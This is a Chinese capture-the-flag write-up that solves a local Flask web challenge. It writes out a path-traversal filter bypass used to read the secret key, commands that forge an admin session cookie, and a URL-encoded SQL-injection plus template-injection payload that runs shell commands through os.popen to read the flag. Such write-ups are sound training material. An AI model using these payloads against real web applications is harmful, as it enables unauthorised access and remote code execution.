共计 930 个字符,预计需要花费 3 分钟才能阅读完成。
构建容器后一进来就能看到一串字符和一个登录框(本来应该F12才能看到的,这里懒得重新弄了)
一眼丁真为base64
解码后得到一个guest的账号密码
进来扫视一圈,发现文件上传点很可疑,上传后点击下载
发现疑似存在任意下载漏洞同时根据网页源码可知道secret-key在根目录下,存在一个小防火墙
ban掉了../../和.py(主要防止读取源码)
绕过../../
filename=./.././.././../secret
我们读取secret文件得到了secret-key
app.secret_key = 'Y0u_4re_S0_5M4RT'
结合刚刚的管理员界面猜测需要进行flask-session伪造
python313 .\flask_session_cookie_manager3.py decode -c 'eyJ1c2VyIjoiZ3Vlc3QifQ.aAB51A.Eye0kL9kyqGHrx27nrikZRYbRNQ' -s 'Y0u_4re_S0_5M4RT'

伪造session
python313 .\flask_session_cookie_manager3.py encode -s 'Y0u_4re_S0_5M4RT' -t "{'user':'admin'}"
成功拿到admin

成功进入后台发现一个信息查询系统
此处的id字段存在SQL注入
同时根据admin页面的提示存在ssti
我们利用sql的回显和ssti进行RCE
注意:ssti的payload要用引号包裹否则报错
payload:
{{((lipsum.__globals__.__builtins__.__import__('os')).popen('echo f3n j1ng;')).read()}}
访问URL
http://127.0.0.1:5000/admin?id=-1%27%20union%20select%201,%22{{((lipsum.__globals__.__builtins__.__import__(%27os%27)).popen(%27cat%20./fl4g_1s_h3re_ef12gc;%27)).read()}}%22%EF%BC%8C3,4,5%20%23
最后成功得到flag
正文完